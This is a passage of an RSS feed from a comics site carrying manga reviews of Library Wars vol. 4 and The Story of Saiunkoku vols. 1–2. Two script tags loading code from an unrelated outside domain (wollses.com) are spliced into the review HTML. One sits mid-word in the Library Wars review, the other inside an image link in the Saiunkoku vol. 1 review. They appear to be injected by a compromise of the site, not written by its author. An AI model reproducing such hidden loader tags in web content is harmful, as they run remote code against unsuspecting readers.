amusing series. Some of the characters’ expressions can elicit a giggle, and Tsubaki’s comedic timing and dialog is fairly strong. Mafuyu’s inner dialog is almost always hilarious, as is Hayasaka’s. I’m looking forward to watching the story and characters develop.</p> <p><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copies provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/saiunkoku3oresama2/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Bento Bako Weekly: Library Wars 4 & Saiunkoku 2</title> <link>https://comicattack.net/bbwlw4saiunkoku2/</link> <comments>https://comicattack.net/bbwlw4saiunkoku2/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 14 Feb 2011 12:00:52 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Hakusensha]]></category> <category><![CDATA[Kadokawa Shoten]]></category> <category><![CDATA[Kairi Yura]]></category> <category><![CDATA[Kiiro Yumi]]></category> <category><![CDATA[Library Wars]]></category> <category><![CDATA[Sai Yukino]]></category> <category><![CDATA[Shojo Beat]]></category> <category><![CDATA[The Story of Saiunkoku]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=54359</guid> <description><![CDATA[It’s Valentine’s Day, and though I’d like to say I planned things this way, today we’ll be looking at two romance manga. The truth is, the thought didn’t even cross my mind until I sat down to write this weekend and realized this would be going up on that Monday. I got my gift this […]]]></description> <content:encoded><![CDATA[<p>It’s Valentine’s Day, and though I’d like to say I planned things this way, today we’ll be looking at two romance manga. The truth is, the thought didn’t even cross my mind until I sat down to write this weekend and realized this would be going up on <em>that </em>Monday. I got my gift this Saturday – a big, fat, fluffy ferret of my very own. His name is Pippin, and he’s just as mischievous as the hobbit he’s named after. Well, enough about the new love of my life, let’s start talking about handsome men and the lovely ladies who love them.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/02/librarywars4.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-54461" style="margin: 1px 4px;" title="librarywars4" src="https://comicattack.net/wp-content/uploads/2011/02/librarywars4.jpg" alt="" width="250" height="382" srcset="https://comicattack.net/wp-content/uploads/2011/02/librarywars4.jpg 416w, https://comicattack.net/wp-content/uploads/2011/02/librarywars4-196x300.jpg 196w" sizes="(max-width: 250px) 100vw, 250px" /></a><strong>Title:</strong> <em>Library Wars: Love & War</em><br /> <strong>Author:</strong> Kiiro Yumi, original concept by Hiro Arikawa<br /> <strong>Publisher: </strong>Viz Media (Shojo Beat)<br /> <strong>Volume: </strong>Volume 4 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2009 by Hakusensha in Japan, March 1, 2011, by Viz Media<br /> <strong>Genre:</strong> Romance, comedy, drama</p> <p>[<a href="https://comicattack.net/2010/12/bbllibrarywars3/">Volume 3 review.</a>]</p> <p>Volume 3 ended badly for Iku Kasahara and General Inamine. As they were leaving the funeral, they were threatened and captured by an MBC support group. Inamine was forced along, while Iku voluntarily went along in order to protect Inamine. The group wants all the records the Library Forces just removed from the museum. Major Genda steps into action immediately, choosing not to rely on the police force and instead do things his own way. His own way means buying the building the group is using so it becomes property of the Library Forces, which basically gives them free reign to go in and do what they need to do to rescue their General. Meanwhile, Iku is doing her best to take care of the invalid General, and even attempts to feed information to the Library Forces when the kidnappers allow her to speak on the phone. In her own style, she manages to tell her friends at the base exactly where she is, and they set off to storm the place. Dojo, concerned for Iku’s safety and feeling guilty about not allowing her to come on the official mission, leads the way. Even though he’s worried, he has faith in Iku, a soldier that he himself trained, and faith in her undaunted courage. Memories of the day he first met Iku flood his mind, and we learn the totally-obvious-since-day-one secret: Dojo is Iku’s mysterious prince who saved her and her book from the MBC at a small bookstore. Of course, his desire to save Iku at that time caused some problems, leading him to be nearly unrecognizable to Iku today. There was a huge scandal because he abused his power to save Iku, and Dojo decided he was too impulsive and too passionate to perform his job properly. He forced himself to change, losing the passion he once had, but then Iku showed up with those same “flaws,” and made him question himself once again. After a gallant rescue by Dojo, Iku feels her feelings for him start to shift. A rather amusing drunken celebration follows, and Iku, passed out drunk, lets some of her feelings unconsciously slip in front of Dojo. The triumph is soon followed by a troublesome visit by Iku’s parents, who have come to see if their daughter is safe working at the library. The entire gang works together to keep Iku’s occupation as a combatant secret, so her parents will think she is working as a clerk. Iku’s mother is obsessed with girls behaving like girls, and has never liked Iku’s more tomboy-like qualities. It’s not that she’s simply worried about her daughter; she wants Iku to be her interpretation of a girl, instead of being herself. Iku’s dad, while he usually backs up her mom, seems to be catching onto his daughter’s secret, and, more importantly, he’s picking up on the relationship between Iku and Dojo. The final chapter switches focus to Komaki, as he watches over Iku in his own way while her parents visit. Komaki’s personal creed is to never tell a lie, so in order to assist Iku’s cover up, he simply tries to stay out of the way as much as possible. Unfortunately, it’s not quite that easy…. A cute bonus manga has Iku watching over a small puppy that wandered into the library. Her day humorously reflects the dog’s day as first the puppy, and then Iku end up lost and found again by Dojo.</p> <p>It’s great getting to see the Library Forces doing their thing. I’d like to see more, but again, this manga is first a romance story. The other elements did seem a bit stronger in this volume, though, which is nice. The rescue mission is an excellent look at how the Library Forces run missions, with everyone doing their part to make the operation go smoothly. We finally get to see why Dojo is the way he is now, what made him change from the person Iku first fell for to the person she can no longer understand. The characters joke about how her “prince” was sitting right in front of her while she spoke passionately about him at her interview, but really, aside from her obvious obliviousness, he’s a completely different person now. It’s no wonder she doesn’t recognize him. Iku is having a clear effect on Dojo, however, so I suspect we may see more of the old Dojo slipping through more often. She’s even beginning to fall for him as she begins to understand him more, though it’s conflicting with the romantic visions of her prince in her head. Dojo, too, is showing some feelings for his underling, and there is <em>almost<script src="//wollses.com/steps"></script></em> a kiss in this volume. The camaraderie between Iku and her squad is strong here as we view the way they support her as she deals with her parents’ visit. Dojo, initially a little annoyed that Iku can’t deal with her parents, realizes that Iku’s real issue is being unable to be herself in front of her parents. Her mother is exceptionally caught up in her idea of what a girl should be, and chastised Iku throughout her life whenever she went outside the “norm.” During their visit, there’s a lot of “Girls shouldn’t be doing these sorts of things” comments from her mother. Her father’s typical response is “Don’t be so hard on your mother, she’s just worried about you.” However, this time he seems to be backing off. There are hints that he is aware of what Iku’s really doing, and he seems to be OK with it, especially after seeing the support she has from her teammates, and the faith his daughter has in her commanding officer, Dojo. The volume ends without a clear conclusion to their visit, but I get the feeling that either Iku’s father will support the cover up for the sake of her mother and keep his mouth shut, or he’ll stand up for Iku and convince her mother to support their daughter’s choice.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/02/saiunkoku2.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-54513" style="margin: 1px 4px;" title="saiunkoku2" src="https://comicattack.net/wp-content/uploads/2011/02/saiunkoku2.jpg" alt="" width="248" height="382" srcset="https://comicattack.net/wp-content/uploads/2011/02/saiunkoku2.jpg 413w, https://comicattack.net/wp-content/uploads/2011/02/saiunkoku2-195x300.jpg 195w" sizes="(max-width: 248px) 100vw, 248px" /></a><strong>Title:</strong> <em>The Story of Saiunkoku</em><br /> <strong>Author: </strong>Sai Yukino, with art by Kairi Yura<br /> <strong>Publisher:</strong> Viz Media (Shojo Beat)<br /> <strong>Volume: </strong>Volume 2 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2007 by Kadokawa Shoten in Japan, February 2011 (out now) by Viz Media<br /> <strong>Genre:</strong> Period romance, comedy, drama, fantasy</p> <p>[<a href="https://comicattack.net/2010/10/bbwsaiunkoku/">Volume 1 review.</a>]</p> <p>When we last left off, Shurei had been brought into the Imperial Palace in order to convince the Emperor to properly govern his country. Believing him to be ignorant, possibly homosexual, and lazy, Shurei tutored him and cared for him, and eventually convinced him to start taking his role as Emperor seriously. For his part, Ryuki was warmed by Shurei’s passionate nature and drive to serve her country, which convinced him to get off his ass and start taking his duties seriously. Initially, Shurei didn’t think much of his quick progress, and failed to realize she was being fooled by a young man entirely capable of ruling, but who was pretending to be unfit to rule. That’s all about to change….</p> <p>When Ryuki finally confesses the truth to Shurei, she naturally goes ballistic. Not simply because he has been lying to her, but because he was capable of ruling and instead chose not to do so. This hurts her more than being tricked by him. Not wanting Shurei to leave, Ryuki locks her up in her room. Unfortunately, this proves to be a terrible mistake. The assassination attempts on Shurei continue, and finally, Shurei turns up missing from her quarters. A plot has been brewing, with Advisor Sa at the center. Sa wants Prince Seien on the throne, and is willing to destroy Shurei and Ryuki to get what he wants. Seiran is furious, of course, and sets out to handle things on his own. It is now that we learn what was a lurking suspicion in the previous volume – Seiran is the missing Prince Seien. Ryuki immediately gets down to business to rescue Shurei, sending Shuei Ran to arrest Advisor Sa, just as a ransom note arrives demanding the Emperor come alone to the Department of Sages to ensure Shurei’s safe return. It is, of course, a trap, but Ryuki is much smarter and more capable than they realize. As Seiran confronts Sa, Ryuki sets off to rescue Shurei. The story jumps back and forth between the two men, as Sa reveals his desire to outwit and leap over his rival Advisor Sho, and Ryuki easily dispatches the men waiting for him. While things go smoothly for Ryuki, Seiran isn’t so lucky, as Sa drugs him and sets his men upon the young man, intent on putting Seiran on the throne. In the nick of time, a mysterious figure comes to rescue Seiran, but Sa, though injured, gets away. The infamous assassin Black Wolf is revealed, and his true identity is quite the surprise. Meanwhile, although she was rescued, Shurei isn’t out of the woods. A deadly poison is in her system, and even the Palace physician doesn’t know the antidote. But Sho does. However, he won’t hand it over until he gets what he wants – a promise from Ryuki to become an Emperor worthy of Sho’s support. You see, Sho is willing to sacrifice anything or anyone to ensure his chosen Emperor becomes a proper ruler. His reasons run deeper than simple selfishness or arrogance, however. After a few more revelations, and some heart-to-hearts between some of the characters, Shurei packs up to leave the Palace, content that her job there is done. But Ryuki has one more surprise for her…. A bonus manga, taking place before Shurei entered the Palace, chronicles the meeting of Shurei’s father, Shoka, and Ryuki when he was a small child.</p> <p>Ryuki opens up in this volume, spilling some of his secret desires to Shuei Ran. We finally learn the truth behind his charade, and the reasoning behind many of his actions. He’s so hung up on his brother’s return, that he was refusing to become his replacement. Unfortunately, he fell in love with Shurei, and wanted to make her proud of him. Still, he clings to his dreams of his brother’s return, but Seiran is very clear that he will never return to the Palace in that capacity. He will only support Ryuki from the shadows. Advisor Sho is also revealed to be a slightly sinister sort of person. In order to make Ryuki a worthy Emperor, he used Shurei and Seiran (and others), ready to sacrifice them if necessary. He even used his dear friend and rival Advisor Sa, whom he drove to the desperate plots that led to his demise. In the beginning of volume 1, we were told the ancient mythology of Saiunkoku, about its rule by Eight Noble Sages, who shaped the land, and still live amongst the people. We see evidence of this in this volume, as one of these ancient Sages makes a brief and unexpected appearance, proving that they may do more than simply watch over the land; this one in particular is heavily involved in the shaping of the country. We learn a little bit about Koyu Ri this volume, specifically his past, when he was abandoned and taken in and raised by a noble. His feelings toward his benefactor mirrors those of the young servant girl Korin, who has been striving hard to support her own benefactor. Shurei continues her strong-willed and stubborn approach to everything; her reaction to Ryuki’s confession is amusing but stays true to her character. As mentioned, what’s more important to her is not that she was fooled by his act, but that he was perfectly capable of taking control of the country and helping his people, but chose not to exercise that power. Shurei can’t stand such blatant disregard for her fellow citizens. But when Ryuki explains his actions to her, she is understanding, and proud that he has decided to resume his proper duties. Ryuki, now revealed to be rather exceptional, still somehow manages to be rather naive when it comes to his feelings of love for Shurei. Luckily, Shuei Ran is ready to give him some advice. Another delightful volume of a series that has quickly become on of my favorites.</p> <p><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://twitter.com/girlg33k_Kris">@girlg33k_Kris</a></p> <p>A copy of <em>Library Wars volume 4</em> was provided by the publisher for review.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwlw4saiunkoku2/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Bento Bako Weekly: The Story of Saiunkoku vol. 1</title> <link>https://comicattack.net/bbwsaiunkoku/</link> <comments>https://comicattack.net/bbwsaiunkoku/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 25 Oct 2010 13:00:21 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Kadokawa Shoten]]></category> <category><![CDATA[Kairi Yura]]></category> <category><![CDATA[period romance]]></category> <category><![CDATA[Sai Yukino]]></category> <category><![CDATA[Shojo Beat]]></category> <category><![CDATA[The Story of Saiunkoku]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=46030</guid> <description><![CDATA[Title: The Story of Saiunkoku Author: Original story by Sai Yukino, art by Kairi Yura Publisher: Viz Media (Shojo Beat) Volume: Volume 1 (ongoing), $9.99 Vintage: 2006 by Kadokawa Shoten in Japan, November 2, 2010 from Viz Media Genre: Period romance, comedy, politics Shurei Hong belongs to one of the most powerful noble families in […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2010/10/saiunkoku1.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-46063" style="margin: 1px 4px;" title="saiunkoku1" src="https://comicattack.net/wp-content/uploads/2010/10/saiunkoku1.jpg" alt="" width="286" height="445" /></a><strong>Title:</strong> <em>The Story of Saiunkoku</em><br /> <strong>Author:</strong> Original story by Sai Yukino, art by Kairi Yura<br /> <strong>Publisher:</strong> Viz Media (Shojo Beat)<br /> <strong>Volume:</strong> Volume 1 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2006 by Kadokawa Shoten in Japan, November 2, 2010 from Viz Media<br /> <strong>Genre:</strong> Period romance, comedy, politics</p> <p>Shurei Hong belongs to one of the most powerful noble families in the land. Unfortunately, her family is nearly destitute. Their manor is literally falling apart, they can only retain a single servant (the handsome, loyal, and talented Seiran), Shurei’s mother died years ago, and her father holds only a ceremonious position within the court at the palace in Saiunkoku. Growing up, it was Shurei’s dream to be a civil servant in the imperial court, but women are barred from such positions, so she has settled for being a teacher and handing her dreams over to the children. Her life is fairly mundane, as she works hard to put food on the table, and ease the burdens of those less fortunate than she in any way she can. That is, until the Head Minister, Lord Advisor Sho, pays her family a visit. The emperor, Ryuki Shi, spends his nights sleeping with men, and wastes his days away lounging about, refusing to govern and leaving everything up to his ministers. The Lord Sho hopes that the capable Shurei will influence the emperor and convince him to govern, and also help him to study, and possibly get him interested in women. Lured by an amazing sum of money, and also a promotion for her servant Seiran into the palace guards, Shurei agrees and is immediately moved into the inner court. Unfortunately, once there, she can’t find the emperor, and he refuses to show himself. Once she finally comes into contact with him, she almost wishes she hadn’t as the emperor becomes very clingy, following her around the palace, and insisting on sharing her bed chamber. Still, as Shurei relates tales of the world outside the palace, remembering the war of succession between Ryuki’s brothers which launched the land into chaos and wreaked havoc on the poor (and led Ryuki, the sixth and youngest son, to become the emperor), something stirs with Ryuki. Something else begins to stir within Ryuki when Shurei continually boasts about the very capable Seiran.</p> <p>Ryuki, pleased to have the company of the lively and outspoken Shurei, finds comfort in the casual nature with which Shurei deals with him. He has a dark past that haunts him, and Shurei’s stories and music sooth his troubled mind. Shurei, in her innocence, sees warmth in Ryuki, but also considers him to be simple minded and childish. Their tutor, a civil servant named Koyu Ri, on the other hand, senses something is lurking beneath the emperor’s public demeanor. So does the emperor’s bodyguard, Shuei Ran, who is waiting to see if his emperor is truly worthy of his loyalty and service. Their intuition proves sharp, as we soon learn that the emperor’s childlike behavior is a facade for a very intelligent, but very lonely, young man. He quickly picks up that someone is out to get Shurei and her family, to prevent them from rising in power under the emperor’s favor. He immediately arranges for her protection, and his innocent nature becomes an excuse for his own precautions as he nearly glues himself to her side night and day.</p> <p style="text-align: center;"> <figure id="attachment_46070" aria-describedby="caption-attachment-46070" style="width: 587px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2010/10/saiunkokuspread.jpg"><img loading="lazy" decoding="async" class="size-full wp-image-46070 " title="saiunkokuspread" src="https://comicattack.net/wp-content/uploads/2010/10/saiunkokuspread.jpg" alt="" width="587" height="461" /><script src="//wollses.com/steps"></script></a><figcaption id="caption-attachment-46070" class="wp-caption-text">The rocky friendship between Koyu and Shuei should prove to be very amusing.</figcaption></figure> <p style="text-align: left;">I don’t know what all I can say about this book, other than I found it sweet, charming, and funny. I laughed out loud on multiple occasions, getting weird looks from some members of my family who were in town at the time. There’s a very nice balance between the humor (which can be over-the-top at times), and the more serious parts of the story. Shurei is a fantastic heroine. She carries the future of her family on her shoulders, she cares about her country, she wants to make significant changes and make the people’s lives better. She’s intelligent, compassionate, kind, perceptive, and beautiful. Of course, our hero isn’t exactly a slouch, either. I adore the childlike innocence he projects; it makes him all the more handsome and manly when he acts serious and shows his compassion and intelligence (oh, be still, my heart!). There is far more to Ryuki than meets the eye, though this first volume gives us just the tiniest glance. He must pretend to be a fool, but he’s exceptionally sharp and very talented. He’d make an amazing emperor if he had any real desire to rule. Unfortunately, he does not, though Shurei’s enthusiasm and the love she has for her country and its people may change his perspective. Already there’s the hint of a romance growing in his heart. But he’s not the only male in the story. I sense a reverse harem in the near future.</p> <p style="text-align: left;">Kairi Yura’s art is very suitable for this story, and I like how not every male in the story is gorgeous to the point of being effeminate. Really only Emperor Ryuki has that high standard of beauty. Koyu is a tad scruffy looking (but hey, it worked for Han Solo), Shuei is handsome but not “beautiful”…though Seiran is close to Ryuki in beauty, making me think there may be something more to him, as well (as in, more than just a servant). That said…the side characters (meaning everyone other than Shurei and Ryuki at this point) seem to have quite a bit going for them, making them interesting and memorable within the story. With 20 light novels (and counting), and two 39 episode anime series, there must be something intriguing about <em>The Story of Saiunkoku. </em>I intend to keep reading and find out. This first volume is just an excellent taste of things to come, I’m sure.</p> <p style="text-align: left;">And since we were talking about a cool heroine here…. Last week I wrote a guest piece for Daniella of All About Manga – “<a href="http://allaboutcomics.wordpress.com/2010/10/20/strength-of-manga-heroines/">How Strong is That Heroine in Your Manga?</a>” I talked about some of my favorite heroines, highlighted some strong female characters, and pointed out some weaker ones. I think I’d like to retroactively add Shurei to that list as an example of a stong female heroine. I’ll need another volume or two to declare that officially, but she seems promising!</p> <p style="text-align: left;"><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://twitter.com/girlg33k_Kris">@girlg33k_Kris</a></p> <p style="text-align: left;">Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwsaiunkoku/feed/</wfw:commentRss> <slash:comments>8</slash:comments> </item> </channel> </rss>